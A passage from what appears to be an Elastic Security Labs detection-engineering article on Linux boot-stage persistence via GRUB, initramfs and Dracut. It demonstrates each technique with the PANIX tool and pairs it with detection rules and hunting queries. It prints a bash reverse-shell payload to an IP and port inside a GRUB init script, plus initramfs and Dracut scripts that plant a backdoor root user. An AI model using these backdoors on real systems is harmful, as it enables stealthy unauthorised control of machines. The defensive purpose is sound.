Mechanisms*](https://www.elastic.co/security-labs/approaching-the-summit-on-persistence)\n\nIn this publication, we’ll provide insights into these persistence mechanisms by showcasing:\n\n* How each works (theory) \n* How to set each up (practice) \n* How to detect them (SIEM and Endpoint rules) \n* How to hunt for them (ES|QL and OSQuery reference hunts)\n\nTo make the process even more engaging, we will be leveraging [PANIX](https://github.com/Aegrah/PANIX), a custom-built Linux persistence tool designed by Ruben Groenewoud of Elastic Security. PANIX allows you to streamline and experiment with Linux persistence setups, making it easy to identify and test detection opportunities.\n\nBy the end of this series, you'll have a robust knowledge of both common and rare Linux persistence techniques; and you'll understand how to effectively engineer detections for common and advanced adversary capabilities. Are you ready to uncover the final pieces of the Linux persistence puzzle? Let’s dive in!\n\n# Setup note\n\nTo ensure you are prepared to detect the persistence mechanisms discussed in this article, it is important to [enable and update our pre-built detection rules](https://www.elastic.co/guide/en/security/current/prebuilt-rules-management.html#update-prebuilt-rules). If you are working with a custom-built ruleset and do not use all of our pre-built rules, this is a great opportunity to test them and potentially fill any gaps. Now, we are ready to get started.\n\n# T1542 - Pre-OS Boot: GRUB Bootloader \n\n[GRUB (GRand Unified Bootloader)](https://www.gnu.org/software/grub/manual/grub/grub.html) is a widely used bootloader in Linux systems, responsible for loading the kernel and initializing the operating system. GRUB provides a flexible framework that supports various configurations, making it a powerful tool for managing the boot process. It acts as an intermediary between the system firmware ([BIOS](https://en.wikipedia.org/wiki/BIOS)/[UEFI](https://en.wikipedia.org/wiki/UEFI)) and the operating system. When a Linux system is powered on, the following sequence typically occurs:\n\n1. ### **System Firmware**\n\n* BIOS or UEFI initializes hardware components (e.g., CPU, RAM, storage devices) and performs a POST (Power-On Self-Test). \n* It then locates the bootloader on the designated boot device (usually based on boot priority settings).\n\n2. ### **GRUB Bootloader**\n\n* GRUB is loaded into memory. \n* It displays a menu (if enabled) that allows users to select an operating system, kernel version, or recovery mode. \n* GRUB loads the kernel image (`vmlinuz`) into memory, as well as the initramfs/initrd image (`initrd.img`), which is a temporary root filesystem used for initial system setup (e.g., loading kernel modules for filesystems and hardware). \n* GRUB passes kernel parameters (e.g., the location of the root filesystem, boot options) and hands over control to the kernel.\n\n3. ### **Kernel Execution**\n\n* The kernel is unpacked and initialized. It begins detecting and initializing system hardware. \n* The kernel mounts the root filesystem specified in the kernel parameters. \n* It starts the init system (traditionally `init`, now often `systemd`), which is the first process (`PID 1`) that initializes and manages the user space. \n* The `init` system sets up services, mounts filesystems, and spawns user sessions.\n\nGRUB’s configuration system is flexible and modular, enabling administrators to define bootloader behavior, kernel parameters, and menu entries. All major distributions use `/etc/default/grub` as the primary configuration file for GRUB. This file contains high-level options, such as default kernel parameters, boot timeout, and graphical settings. For example:\n\n```\nGRUB_TIMEOUT=5 # Timeout in seconds for the GRUB menu\nGRUB_DEFAULT=0 # Default menu entry to boot\nGRUB_CMDLINE_LINUX_DEFAULT=\"quiet splash resume=/dev/sda2\" # Common kernel parameters\nGRUB_CMDLINE_LINUX=\"init=/bin/bash audit=1\" # Additional kernel parameters\n```\n\nTo enhance flexibility, GRUB supports a modular approach to configuration through script directories. These are typically located in `/etc/default/grub.d/` (Ubuntu/Debian) and `/etc/grub.d/` (Fedora/CentOS/RHEL). The scripts in these directories are combined into the final configuration during the update process. \n\nPrior to boot, the GRUB bootloader must be compiled. The compiled GRUB configuration file is the final output used by the bootloader at runtime. It is generated from the settings in `/etc/default/grub` and the modular scripts in `/etc/grub.d/` (or similar directories and files for other distributions). This configuration is then stored in `/boot/grub/grub.cfg` for BIOS systems, and `/boot/efi/EFI/\u003cdistro\u003e/grub.cfg` for UEFI systems.\n\nOn Ubuntu and Debian-based systems, the `update-grub` command is used to generate the GRUB configuration. For Fedora, CentOS, and RHEL systems, the equivalent command is `grub2-mkconfig`. Upon generation of the configuration, the following events occur:\n\n1. **Scripts Execution**: \n* All modular scripts in `/etc/default/grub.d/` or `/etc/grub.d/` are executed in numerical order. \n2. **Settings Aggregation**: \n* Parameters from `/etc/default/grub` and modular scripts are merged. \n3. **Menu Entries Creation**: \n* GRUB dynamically detects installed kernels and operating systems and creates corresponding menu entries. \n4. **Final Compilation**: \n* The combined configuration is written to `/boot/grub/grub.cfg` (or the UEFI equivalent path), ready to be used at the next boot.\n\nAttackers can exploit GRUB’s flexibility and early execution in the boot process to establish persistence. By modifying GRUB configuration files, they can inject malicious parameters or scripts that execute with root privileges before the operating system fully initializes. Attackers can:\n\n1. **Inject Malicious Kernel Parameters**: \n* Adding parameters like `init=/payload.sh` in `/etc/default/grub` or directly in the GRUB menu at boot forces the kernel to execute a malicious script instead of the default `init` system. \n2. **Modify Menu Entries**: \n* Attackers can alter menu entries in `/etc/grub.d/` to include unauthorized commands or point to malicious kernels. \n3. **Create Hidden Boot Entries**: \n* Adding extra boot entries with malicious configurations that are not displayed in the GRUB menu.\n\nAs GRUB operates before the system’s typical EDR and other solution mechanisms are active, this technique is especially hard to detect. Additionally, knowledge scarcity around these types of attacks makes detection difficult, as malicious parameters or entries can appear similar to legitimate configurations, making manual inspection prone to oversight. \n\nGRUB manipulation falls under [T1542: Pre-OS Boot](https://attack.mitre.org/techniques/T1542/) in the MITRE ATT\u0026CK framework. This technique encompasses attacks targeting bootloaders to gain control before the operating system initializes. Despite its significance, there is currently no dedicated sub-technique for GRUB-specific attacks.\n\nIn the next section, we’ll explore how attackers can establish persistence through GRUB by injecting malicious parameters and modifying bootloader configurations.\n\n# Persistence through T1542 - Pre-OS Boot: GRUB Bootloader\n\nIn this section we will be looking at the technical details related to GRUB persistence. To accomplish this, we will be leveraging the [setup_grub.sh](https://github.com/Aegrah/PANIX/blob/7e27768807e12d11932e2fca5b6a4867308295dd/modules/setup_grub.sh) module from [PANIX](https://github.com/Aegrah/PANIX), a custom-built Linux persistence tool. By simulating this technique, we will be able to research potential detection opportunities.\n\nThe GRUB module detects the Linux distribution it is running on, and determines the correct files to modify, and support tools necessary to establish persistence. There is no compatibility built into PANIX for Fedora-based operating systems within this module, due to the restricted environment available within the boot process. PANIX determines whether the payload is already injected, and if not, creates a custom configuration (`cfg`) file containing the `init=/grub-panix.sh` parameter. GRUB configuration files are loaded in ascending order, based on the modules’ numeric prefix. To ensure the injected module is loaded last, the priority is set to 99.\n\n```\nlocal grub_custom_dir=\"/etc/default/grub.d\"\nlocal grub_custom_file=\"${grub_custom_dir}/99-panix.cfg\"\n\necho \"[*] Creating custom GRUB configuration file: $grub_custom_file\"\ncat \u003c\u003cEOF \u003e \"$grub_custom_file\"\n# Panix GRUB persistence configuration\nGRUB_CMDLINE_LINUX_DEFAULT=\"$GRUB_CMDLINE_LINUX_DEFAULT init=/grub-panix.sh\"\nEOF\n```\n\nAfter this configuration file is in place, the `/grub-panix.sh` script is created, containing a payload that sleeps for a certain amount of time (to ensure networking is available), after which it executes a reverse shell payload, detaching itself from its main process to ensure no hang ups.\n\n```\npayload=\"( sleep 10; nohup setsid bash -c 'bash -i \u003e\u0026 /dev/tcp/${ip}/${port} 0\u003e\u00261' \u0026 disown ) \u0026\"\n\nlocal init_script=\"/grub-panix.sh\"\necho \"[*] Creating backdoor init script at: $init_script\"\ncat \u003c\u003cEOF \u003e \"$init_script\"\n#!/bin/bash\n# Panix GRUB Persistence Backdoor (Ubuntu/Debian)\n(\n\techo \"[*] Panix backdoor payload will execute after 10 seconds delay.\"\n\t${payload}\n\techo \"[+] Panix payload executed.\"\n) \u0026\nexec /sbin/init\nEOF\n```\n\nAfter these files are in place, all that is left is to update GRUB to contain the embedded backdoor module by running `update-grub`.\n\nLet’s take a look at what this process looks like from a detection engineering perspective. Run the PANIX module through the following command:\n\n```\n\u003e sudo ./panix.sh --grub --default --ip 192.168.1.100 --port 2014\n[*] Creating backdoor init script at: /grub-panix.sh\n[+] Backdoor init script created and made executable.\n[*] Creating custom GRUB configuration file: /etc/default/grub.d/99-panix.cfg\n[+] Custom GRUB configuration file created.\n[*] Backing up /etc/default/grub to /etc/default/grub.bak...\n[+] Backup created at /etc/default/grub.bak\n[*] Running 'update-grub' to apply changes...\nSourcing file `/etc/default/grub'\nSourcing file `/etc/default/grub.d/99-panix.cfg'\nSourcing file `/etc/default/grub.d/init-select.cfg'\nGenerating grub configuration file ...\n[+] GRUB configuration updated. Reboot to activate the payload.\n```\n\nUpon execution of the module, and rebooting the machine, the following documents can be observed in Kibana:\n\n\n\nUpon execution of PANIX, we can see a backup of `/etc/default/grub`, a new modular grub configuration, `/etc/default/grub.d/99-panix.cfg`, and the backdoor payload (`/grub-panix.sh`) being created. After granting the backdoor the necessary execution permissions, GRUB is updated through the `update-grub` executable, and the backdoor is now ready. Upon reboot, `/grub-panix.sh` is executed by `init`, which is `systemd` for most modern operating systems, successfully executing the reverse shell chain of `/grub-panix.sh` → `nohup` → `setsid` → `bash`. The reason its `event.action` value is `already-running`, is due to the payload being executed during the boot process, prior to the initialization of Elastic Defend. Depending on the boot stage of execution, Elastic Defend will be able to capture missed events with this `event.action`, allowing us to still detect the activity.\n\nLet’s take a look at the coverage:\n\n*Detection and endpoint rules that cover GRUB bootloader persistence*\n\n| Category | Coverage |\n| :---- | :---- |\n| File | [GRUB Configuration File Creation](https://github.com/elastic/detection-rules/blob/2bb46899aea8571172687927b8084695bec44a62/rules/linux/persistence_grub_configuration_creation.toml) |\n| | [GRUB Configuration Generation through Built-in Utilities](https://github.com/elastic/detection-rules/blob/2bb46899aea8571172687927b8084695bec44a62/rules/linux/persistence_grub_makeconfig.toml) |\n| | [Potential Persistence via File Modification](https://github.com/elastic/detection-rules/blob/2bb46899aea8571172687927b8084695bec44a62/rules/integrations/fim/persistence_suspicious_file_modifications.toml) |\n| Process | [Boot File Copy](https://github.com/elastic/detection-rules/blob/2bb46899aea8571172687927b8084695bec44a62/rules/linux/persistence_boot_file_copy.toml) |\n| | [Systemd Shell Execution During Boot](https://github.com/elastic/detection-rules/blob/2bb46899aea8571172687927b8084695bec44a62/rules/linux/persistence_systemd_shell_execution.toml) |\n\nYou can revert the changes made by PANIX by running the following revert command:\n\n```\n\u003e ./panix.sh --revert grub\n\n[*] Reverting GRUB persistence modifications...\n[*] Restoring backup of /etc/default/grub from /etc/default/grub.bak...\n[+] /etc/default/grub restored.\n[*] Removing /etc/default/grub.d/99-panix.cfg...\n[+] /etc/default/grub.d/99-panix.cfg removed.\n[*] /grub-panix.sh not found; nothing to remove.\n[*] Updating GRUB configuration...\n[...]\n[+] GRUB configuration updated.\n[+] GRUB persistence reverted successfully.\n```\n\n# Hunting for T1542 - Pre-OS Boot: GRUB Bootloader \n\nOther than relying on detections, it is important to incorporate threat hunting into your workflow, especially for persistence mechanisms like these, where events can potentially be missed due to timing or environmental constraints. This publication lists the available hunts for GRUB bootloader persistence; however, more details regarding the basics of threat hunting are outlined in the “*Hunting for T1053 - scheduled task/job*” section of “[*Linux Detection Engineering - A primer on persistence mechanisms*](https://www.elastic.co/security-labs/primer-on-persistence-mechanisms)”. Additionally, descriptions and references can be found in our [Detection Rules repository](https://github.com/elastic/detection-rules), specifically in the [Linux hunting subdirectory](https://github.com/elastic/detection-rules/tree/main/hunting).\n\nWe can hunt for GRUB bootloader persistence through [ES|QL](https://www.elastic.co/guide/en/elasticsearch/reference/current/esql.html) and [OSQuery](https://www.elastic.co/guide/en/kibana/current/osquery.html), focusing on file creations, modifications, and executions related to GRUB configurations. The approach includes monitoring for the following:\n\n1. **Creations and/or modifications to GRUB configuration files**: Tracks changes to critical files such as the GRUB configuration file and modules, and the compiled GRUB binary. These files are essential for bootloader configurations and are commonly targeted for GRUB-based persistence. \n2. **Execution of GRUB-related commands**: Monitors for commands like `grub-mkconfig`, `grub2-mkconfig`, and `update-grub`, which may indicate attempts to modify GRUB settings or regenerate boot configurations. \n3. **Metadata analysis of GRUB files**: Identifies ownership, access times, and recent changes to GRUB configuration files to detect unauthorized modifications. \n4. **Kernel and Boot Integrity Monitoring**: Tracks critical kernel and boot-related data using ES|QL and OSQuery tables such as `secureboot`, `platform_info`, `kernel_info`, and `kernel_keys`, providing insights into the system’s boot integrity and kernel configurations.\n\nBy combining the [Persistence via GRUB Bootloader](https://github.com/elastic/detection-rules/blob/1851ab91fdb84ac2c1fc9bf9d0663badadd0d0a7/hunting/linux/queries/persistence_via_grub_bootloader.toml) and [General Kernel Manipulation](https://github.com/elastic/detection-rules/blob/1851ab91fdb84ac2c1fc9bf9d0663badadd0d0a7/hunting/linux/queries/persistence_general_kernel_manipulation.toml) hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to [T1542](https://attack.mitre.org/techniques/T1542/).\n\n# T1542- Pre-OS Boot: Initramfs\n\n[Initramfs (Initial RAM Filesystem)](https://wiki.debian.org/initramfs) is a vital part of the Linux boot process, acting as a temporary root filesystem loaded into memory by the bootloader. It enables the kernel to initialize hardware, load necessary modules, and prepare the system to mount the real root filesystem.\n\nAs we learnt in the previous section, the bootloader (e.g., GRUB) loads two key components: the kernel (`vmlinuz`) and the initramfs image (`initrd.img`). The `initrd.img` is a compressed filesystem, typically stored in `/boot/`, containing essential drivers, binaries (e.g. `busybox`), libraries, and scripts for early system initialization. Packed in formats like gzip, LZ4, or xz, it extracts into a minimal Linux filesystem with directories like `/bin`, `/lib`, and `/etc`. Once the real root filesystem is mounted, control passes to the primary `init` system (e.g., `systemd`), and the initramfs is discarded.\n\nInitramfs plays a central role in the Linux boot process, but it doesn't work in isolation. The `/boot/` directory houses essential files that enable the bootloader and kernel to function seamlessly. These files include the kernel binary, the initramfs image, and configuration data necessary for system initialization. Here's a breakdown of these critical components:\n\n* **vmlinuz-\\\u003cversion\\\u003e**: A compressed Linux kernel binary. \n* **vmlinuz**: A symbolic link to the compressed Linux kernel binary. \n* **initrd.img-\\\u003cversion\\\u003e** or **initramfs.img-\\\u003cversion\\\u003e**: The initramfs image containing the temporary filesystem. \n* **initrd.img** or **initramfs.img**: A symbolic link to the initramfs image. \n* **config-\\\u003cversion\\\u003e**: Configuration options for the specific kernel version. \n* **System.map-\\\u003cversion\\\u003e**: Kernel symbol map used for debugging. \n* **grub/**: Bootloader configuration files.\n\nSimilar to GRUB, initramfs is executed early in the boot process and therefore an interesting target for attackers seeking stealthy persistence. Modifying its contents—such as adding malicious scripts or altering initialization logic—enables execution of malicious code before the system fully initializes. \n\nWhile there is currently no specific subsection for initramfs, modification of the boot process falls under [T1542](https://attack.mitre.org/techniques/T1542/), *Pre-OS Boot* in the MITRE ATT\u0026CK framework. \n\nThe next section will explore how attackers might manipulate initramfs, the methods they could use to embed persistence mechanisms, and how to detect and mitigate these threats effectively.\n\n# T1542 - Initramfs: Manual Modifications\n\nModifying initramfs to establish persistence is a technique discussed in the “[*Initramfs Persistence Technique*](https://breachlabs.io/initramfs-persistence-technique)” blog published on [Breachlabs.io](https://breachlabs.io/). At its core, modifying initramfs involves unpacking its compressed filesystem, making changes, and repacking the image to maintain functionality while embedding persistence mechanisms. This process is not inherently malicious; administrators might modify initramfs to add custom drivers or configurations. However, attackers can exploit this flexibility to execute malicious actions before the primary operating system is fully loaded.\n\nAn example technique involves adding code to the `init` script to manipulate the host filesystem—such as creating a backdoor user, altering system files/services, or injecting scripts that persist across reboots.\n\nWhile there are helper tools for working with initramfs, manual modifications are possible through low-level utilities such as [binwalk](https://github.com/ReFirmLabs/binwalk). `Binwalk` is particularly useful for analyzing and extracting compressed archives, making it a good choice for inspecting and deconstructing the initramfs image. \n\nIn the following section, we’ll provide a detailed explanation of the manual initramfs modification process.\n\n# Persistence through T1542 - Initramfs: Manual Modifications\n\nIn this section we will be “manually” manipulating initramfs to add a backdoor onto the system during the boot process. To do so, we will use the [setup_initramfs.sh](https://github.com/Aegrah/PANIX/blob/7e27768807e12d11932e2fca5b6a4867308295dd/modules/setup_initramfs.sh) module from PANIX. Let’s analyze the most important aspects of the module to ensure we understand what is going on.\n\nUpon execution of the module, the `initrd.img` file is backed up, as implementing a technique like this may disrupt the boot process, and having a back up available is always recommended. Next, a temporary directory is created, and the initramfs image is copied there. Through `binwalk`, we can identify and map out the different embedded archives within the `initrd.img` (such as the CPU microcode `cpio` archive and the gzipped `cpio` archive containing the mini Linux filesystem). The string `TRAILER!!!` marks the end of a `cpio` archive, letting us know exactly where one archive finishes so we can separate it from the next. In other words, `binwalk` shows us where to split the file, and the `TRAILER!!!` marker confirms the boundary of the microcode `cpio` before we extract and rebuild the rest of the initramfs. For more detailed information, take a look at the original author’s “[*Initramfs Persistence Technique*](https://breachlabs.io/initramfs-persistence-technique)” blog.\n\n```\n# Use binwalk to determine the trailer address.\nADDRESS=$(binwalk initrd.img | grep TRAILER | tail -1 | awk '{print $1}')\nif [[ -z \"$ADDRESS\" ]]; then\n\techo \"Error: Could not determine trailer address using binwalk.\"\n\texit 1\nfi\necho \"[*] Trailer address: $ADDRESS\"\n```\n\nThis section extracts and unpacks parts of the `initrd.img` file for modification. The `dd` command extracts the first `cpio` archive (microcode) up to the byte offset marked by `TRAILER!!!`, saving it as `initrd.img-begin` for later reassembly. Next, `unmkinitramfs` unpacks the remaining filesystem from `initrd.img` into a directory (`initrd_extracted`), enabling modifications.\n\n```\ndd if=initrd.img of=initrd.img-begin count=$ADDRESS bs=1 2\u003e/dev/null || { echo \"Error: dd failed (begin)\"; exit 1; }\n\nunmkinitramfs initrd.img initrd_extracted || { echo \"Error: unmkinitramfs failed\"; exit 1; }\n```\n\nOnce the filesystem is extracted, it can be modified to achieve persistence. This process focuses on manipulating the `init` file, which is responsible for initializing the Linux system during boot. The code performs the following:\n\n1. Mount the root filesystem as writable. \n2. Attempt to create a new user with sudo privileges in two steps: \n 1. Check whether the supplied user exists already, if yes, abort. \n 2. If the user does not exist, add the user to `/etc/shadow`, `/etc/passwd` and `/etc/group` manually.\n\nThis payload can be altered to whatever payload is desired. As the environment in which we are working is very limited, we need to make sure to only use tools that are available. \n\nAfter adding the correct payload, initramfs can be repacked. The script uses:\n\n`find . | sort | cpio -R 0:0 -o -H newc | gzip \u003e ../../initrd.img-end`\n\nTo repack the filesystem into `initrd.img-end`. It ensures all files are owned by `root:root` (`-R 0:0`) and uses the `newc` format compatible with initramfs.\n\nThe previously extracted microcode archive (`initrd.img-begin`) is concatenated with the newly created archive (`initrd.img-end`) using `cat` to produce a final `initrd.img-new`:\n\n`cat initrd.img-begin initrd.img-end \u003e initrd.img-new`\n\nThe new `initrd.img-new` replaces the original initramfs file, ensuring the system uses the modified version on the next boot.\n\nNow that we understand the process, we can run the module and let the events unfold. Note: not all Linux distributions specify the end of a `cpio` archive with the `TRAILER!!!` string, and therefore this automated technique will not work for all systems. Let’s continue!\n\n```\n\u003e sudo ./panix.sh --initramfs --binwalk --username panix --password panix --snapshot yes\n[*] Will inject user 'panix' with hashed password '\u003chash\u003e' into the initramfs.\n[*] Preparing Binwalk-based initramfs persistence...\n[*] Temporary directory: /tmp/initramfs.neg1v5\n[+] Backup created: /boot/initrd.img-5.15.0-130-generic.bak\n[*] Trailer address: 8057008\n[+] Binwalk-based initramfs persistence applied. New initramfs installed.\n[+] setup_initramfs module completed successfully.\n[!] Ensure you have a recent snapshot of your system before proceeding.\n```\n\nLet’s take a look at the events that are generated in Kibana:\n\n\n\nLooking at the execution logs, we can see that `openssl` is used to generate a `passwd` hash. Afterwards, the initramfs image is copied to a temporary directory, and `binwalk` is leveraged to find the address of the filesystem. Once the correct section is found, `unmkinitramfs` is called to extract the filesystem, after which the payload is added to the `init` file. Next, the filesystem is repacked through `gzip` and `cpio`, and combined into a fully working initramfs image with the microcode, filesystem and other sections. This image is then copied to the `/boot/` directory, overwriting the currently active `initramfs` image. Upon reboot, the new `panix` user with root permissions is available. \n\nLet’s take a look at the coverage:\n\n*Detection and endpoint rules that cover manual initramfs persistence*\n\n| Category | Coverage |\n| :---- | :---- |\n| File | [Potential Persistence via File Modification](https://github.com/elastic/detection-rules/blob/2bb46899aea8571172687927b8084695bec44a62/rules/integrations/fim/persistence_suspicious_file_modifications.toml) |\n| Process | [Potential Memory Seeking Activity](https://github.com/elastic/detection-rules/blob/3e655abfef5e6b9c759cc82fa225be48a90bbc24/rules_building_block/discovery_potential_memory_seeking_activity.toml) |\n| | [Initramfs Unpacking via unmkinitramfs](https://github.com/elastic/detection-rules/blob/3e655abfef5e6b9c759cc82fa225be48a90bbc24/rules/linux/persistence_unpack_initramfs_via_unmkinitramfs.toml) |\n| | [Initramfs Extraction via CPIO](https://github.com/elastic/detection-rules/blob/3e655abfef5e6b9c759cc82fa225be48a90bbc24/rules/linux/persistence_extract_initramfs_via_cpio.toml) |\n| | [Boot File Copy](https://github.com/elastic/detection-rules/blob/2bb46899aea8571172687927b8084695bec44a62/rules/linux/persistence_boot_file_copy.toml) |\n| | [OpenSSL Password Hash Generation](https://github.com/elastic/detection-rules/blob/3e655abfef5e6b9c759cc82fa225be48a90bbc24/rules/linux/persistence_openssl_passwd_hash_generation.toml) |\n\nYou can revert the changes made by PANIX by running the following revert command:\n\n```\n\u003e ./panix.sh --revert initramfs\n\n[!] Restoring initramfs from backup: $initrd_backup...\n[+] Initramfs restored successfully.\n[!] Rebuilding initramfs to remove modifications...\n[+] Initramfs rebuilt successfully.\n[!] Cleaning up temporary files...\n[+] Temporary files cleaned up.\n[+] Initramfs persistence reverted successfully.\n```\n\n# Hunting for T1542 - Initramfs: Manual Modifications\n\nWe can hunt for this technique using ES|QL and OSQuery by focusing on suspicious activity tied to the use of tools like `binwalk`. This technique typically involves extracting, analyzing, and modifying initramfs files to inject malicious components or scripts into the boot process. The approach includes monitoring for the following:\n\n1. **Execution of Binwalk with Suspicious Arguments**: Tracks processes where `binwalk` is executed to extract or analyze files. This can reveal attempts to inspect or tamper with initramfs contents. \n2. **Creations and/or Modifications to Initramfs Files**: Tracks changes to the initramfs file (`/boot/initrd.img`). \n3. **General Kernel Manipulation Indicators**: Leverages queries such as monitoring `secureboot`, `kernel_info`, and file changes within `/boot/` to detect broader signs of kernel and bootloader manipulation, which may overlap with initramfs abuse.\n\nBy combining the [Persistence via Initramfs](https://github.com/elastic/detection-rules/blob/1851ab91fdb84ac2c1fc9bf9d0663badadd0d0a7/hunting/linux/queries/persistence_via_initramfs.toml) and [General Kernel Manipulation](https://github.com/elastic/detection-rules/blob/1851ab91fdb84ac2c1fc9bf9d0663badadd0d0a7/hunting/linux/queries/persistence_general_kernel_manipulation.toml) hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to [T1542](https://attack.mitre.org/techniques/T1542/).\n\n# T1542 - Initramfs: Modifying with Dracut\n\n[Dracut](https://wiki.archlinux.org/title/Dracut) is a versatile tool for managing initramfs in most Linux systems. Unlike manual methods that require deconstructing and reconstructing initramfs, Dracut provides a structured, modular approach. It simplifies creating, modifying, and regenerating initramfs images while offering a robust framework to add custom functionality. It generates initramfs images by assembling a minimal Linux environment tailored to the system's needs. Its modular design ensures that only the necessary drivers, libraries, and scripts are included.\n\nDracut operates through modules, which are self-contained directories containing scripts, configuration files, and dependencies. These modules define the behavior and content of the initramfs. For example, they might include drivers for specific hardware, tools for handling encrypted filesystems, or custom logic for pre-boot operations.\n\nDracut modules are typically stored in:\n\n* `/usr/lib/dracut/modules.d/` \n* `/lib/dracut/modules.d/`\n\nEach module resides in a directory named in the format `XXname`, where `XX` is a two-digit number defining the load order, and `name` is the module name (e.g., `01base`, `95udev`).\n\nThe primary script that defines how the module integrates into the initramfs is called `module-setup.sh`. It specifies which files to include and what dependencies are required. Here is a basic example of a `module-setups.sh` script:\n\n```\n#!/bin/bash\n\ncheck() {\n return 0 \n}\n\ndepends() {\n echo \"base\"\n}\n\ninstall() {\n inst_hook cmdline 30 \"$moddir/my_custom_script.sh\"\n inst_simple /path/to/needed/binary\n}\n```\n\n* `check()`: Determines whether the module should be included. Returning 0 ensures the module is always included. \n* `depends()`: Specifies other modules this one depends on (e.g., `base`, `udev`). \n* `install()`: Defines what files or scripts to include. Functions like `inst_hook` and `inst_simple` simplify the process.\n\nUsing Dracut, attackers or administrators can easily modify initramfs to include custom scripts or functionality. For example, a malicious actor might:\n\n* Add a script that executes commands on boot. \n* Alter existing modules to modify system behavior before the root filesystem is mounted.\n\nIn the next section, we’ll walk through creating a custom Dracut module to modify initramfs.\n\n# Persistence through T1542 - Initramfs: Modifying with Dracut\n\nIt is always a great idea to walk before we run. In the previous section we learnt how to manipulate initramfs manually, which can be difficult to set up. Now that we understand the basics, we can persist much easier by using a helper tool called Dracut, which is available by default on many Linux systems. Let’s take a look at the [setup_initramfs.sh](https://github.com/Aegrah/PANIX/blob/7e27768807e12d11932e2fca5b6a4867308295dd/modules/setup_initramfs.sh) module again, but this time with a focus on the Dracut section.\n\nThis PANIX module creates a new Dracut module directory at `/usr/lib/dracut/modules.d/99panix`, and creates a `module-setup.sh` file with the following contents:\n\n```\n#!/bin/bash\ncheck() { return 0; }\ndepends() { return 0; }\ninstall() {\n\tinst_hook pre-pivot 99 \"$moddir/backdoor-user.sh\"\n}\n```\n\nThis script ensures that when the initramfs is built using Dracut, the custom script (`backdoor-user.sh`) is embedded and configured to execute at the pre-pivot stage during boot. By running at the pre-pivot stage, the script executes before control is handed over to the main OS, ensuring it can make modifications to the real root filesystem.\n\nAfter granting `module-setup.sh` execution permissions, the module continues to create the `backdoor-user.sh` file. To view the full content, inspect the module source code. The important parts are:\n\n```\n#!/bin/sh\n\n# Remount the real root if it's read-only\nmount -o remount,rw /sysroot 2\u003e/dev/null || {\n\techo \"[dracut] Could not remount /sysroot as RW. Exiting.\"\n\texit 1\n}\n[...]\n\nif check_user_exists \"${username}\" /sysroot/etc/shadow; then\n echo \"[dracut] User '${username}' already exists in /etc/shadow.\"\nelse\n echo \"${username}:${escaped_hash}:19000:0:99999:7:::\" \u003e\u003e /sysroot/etc/shadow\n echo \"[dracut] Added '${username}' to /etc/shadow.\"\nfi\n\n[...]\n```\n\nFirst, the script ensures that the root filesystem (`/sysroot`) is writable. If this check completes, the script continues to add a new user by manually modifying the `/etc/shadow`, `/etc/passwd` and `/etc/group` files. The most important thing to notice is that these scripts rely on built-in shell utilities, as utilities such as `grep` or `sed` are not available in this environment. After writing the script, it is granted execution permissions and is good to go.\n\nFinally, Dracut is called to rebuild initramfs for the kernel version that is currently active:\n\n`dracut --force /boot/initrd.img-$(uname -r) $(uname -r)`\n\nOnce this step completes, the modified initramfs is active, and rebooting the machine will result in the `backdoor-user.sh` script being executed.\n\nAs always, first we take a snapshot, then we run the module:\n\n```\n\u003e sudo ./panix.sh --initramfs --dracut --username panix --password secret --snapshot yes\n[!] Will inject user 'panix' with hashed password \u003chash\u003e into the initramfs.\n[!] Preparing Dracut-based initramfs persistence...\n[+] Created dracut module setup script at /usr/lib/dracut/modules.d/99panix/module-setup.sh\n[+] Created dracut helper script at /usr/lib/dracut/modules.d/99panix/backdoor-user.sh\n[*] Rebuilding initramfs with dracut...\n[...]\ndracut: *** Including module: panix ***\n[...]\n[+] Dracut rebuild complete.\n[+] setup_initramfs module completed successfully.\n[!] Ensure you have a recent snapshot/backup of your system before proceeding.\n```\n\nAnd take a look at the documents available in Discover:\n\n\n\nUpon execution, `openssl` is used to create a password hash for the `secret` password. Afterwards, the directory structure `/usr/lib/dracut/modules.d/99panix` is created, and the `module-setup.sh` and `backdoor-user.sh` scripts are created and granted execution permissions. After regeneration of the initramfs completes, the backdoor has been planted, and will be active upon reboot.\n\nLet’s take a look at the coverage:\n\n*Detection and endpoint rules that cover dracut initramfs persistence*\n\n| Category | Coverage |\n| :---- | :---- |\n| File | [Dracut Module Creation](https://github.com/elastic/detection-rules/blob/cf183579b46dae3ebd294098b330341a98691fd0/rules/linux/persistence_dracut_module_creation.toml) |\n| | [Potential Persistence via File Modification](https://github.com/elastic/detection-rules/blob/2bb46899aea8571172687927b8084695bec44a62/rules/integrations/fim/persistence_suspicious_file_modifications.toml) |\n| Process | [Manual Dracut Execution](https://github.com/elastic/detection-rules/blob/cf183579b46dae3ebd294098b330341a98691fd0/rules/linux/persistence_manual_dracut_execution.toml) |\n| | [OpenSSL Password Hash Generation](https://github.com/elastic/detection-rules/blob/3e655abfef5e6b9c759cc82fa225be48a90bbc24/rules/linux/persistence_openssl_passwd_hash_generation.toml) |\n| | [Executable Bit Set for Potential Persistence Script](https://github.com/elastic/detection-rules/blob/2bb46899aea8571172687927b8084695bec44a62/rules/linux/persistence_potential_persistence_script_executable_bit_set.toml) |\n\nYou can revert the changes made by PANIX by running the following revert command:\n\n```\n\u003e ./panix.sh --revert initramfs\n\n[-] No backup initramfs found at /boot/initrd.img-5.15.0-130-generic.bak. Skipping restore.\n[!] Removing custom dracut module directory: /usr/lib/dracut/modules.d/99panix...\n[+] Custom dracut module directory removed.\n[!] Rebuilding initramfs to remove modifications...\n[...]\n[+] Initramfs rebuilt successfully.\n[!] Cleaning up temporary files...\n[+] Temporary files cleaned up.\n[+] Initramfs persistence reverted successfully.\n```\n\n# Hunting for T1542 - Initramfs: Modifying with Dracut\n\nWe can hunt for this technique using ES|QL and OSQuery by focusing on suspicious activity tied to the use of tools like Dracut. The approach includes monitoring for the following:\n\n1. **Execution of Dracut with Suspicious Arguments**: Tracks processes where Dracut is executed to regenerate or modify initramfs files, especially with non-standard arguments. This can help identify unauthorized attempts to modify initramfs. \n2. **Creations and/or Modifications to Dracut Modules**: Monitors changes within `/lib/dracut/modules.d/` and `/usr/lib/dracut/modules.d/`, which store custom and system-wide Dracut modules. Unauthorized modifications here may indicate attempts to persist malicious functionality. \n3. **General Kernel Manipulation Indicators**: Utilizes queries like monitoring `secureboot`, `kernel_info`, and file changes within `/boot/` to detect broader signs of kernel and bootloader manipulation that could be related to Initramfs abuse.\n\nBy combining the [Persistence via 